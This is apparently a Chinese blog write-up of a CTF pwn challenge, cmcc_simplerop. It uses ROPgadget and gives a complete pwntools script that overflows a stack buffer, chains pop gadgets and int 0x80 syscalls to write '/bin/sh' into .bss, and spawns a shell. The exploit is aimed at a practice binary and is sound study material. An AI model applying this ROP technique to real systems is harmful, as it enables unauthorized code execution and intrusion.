【pwn】 cmcc_simplerop

本文探讨了32位静态链接程序cmcc_simplerop,通过ida分析发现存在栈溢出漏洞。利用ROPgadget找到关键gadget如pop eax;ret和pop edx;pop ecx;pop ebx;ret,计划通过赋值寄存器并使用int 80进行系统调用来应对无/bin/sh的情况,首先将字符串写入bss段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

例行检查
在这里插入图片描述
ida打开二进制文件发现是静态链接的32位程序。main函数中存在溢出。用ROPgadget查找文件中的gadget。

ROPgadget --binary ./simplerop --only 'pop|ret' >> 1.txt

得到
在这里插入图片描述
发现存在
pop eax;ret
pop edx;pop ecx;pop ebx;ret
这些就足够了,给寄存器赋值再用int 80进行系统调用。
由于程序中没有/bin/sh需要先将其写入bss段。

from pwn import *

io=process('./simplerop')

pop_eax_ret=0x080bae06
pop_bcdx_ret=0x0806e850 
int_80=0x0806EEF0
bss=0x80EB010

pl='a'*0x1c+'bbbb'+p32(pop_eax_ret)+p32(3)+p32(pop_bcdx_ret)+p32(8)+p32(bss)+p32(0)+p32(int_80)+p32(pop_eax_ret)+p32(11)+p32(pop_bcdx_ret)+p32(0)+p32(0)+p32(bss)+p32(int_80)

io.sendline(pl)
io.send('/bin/sh')

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值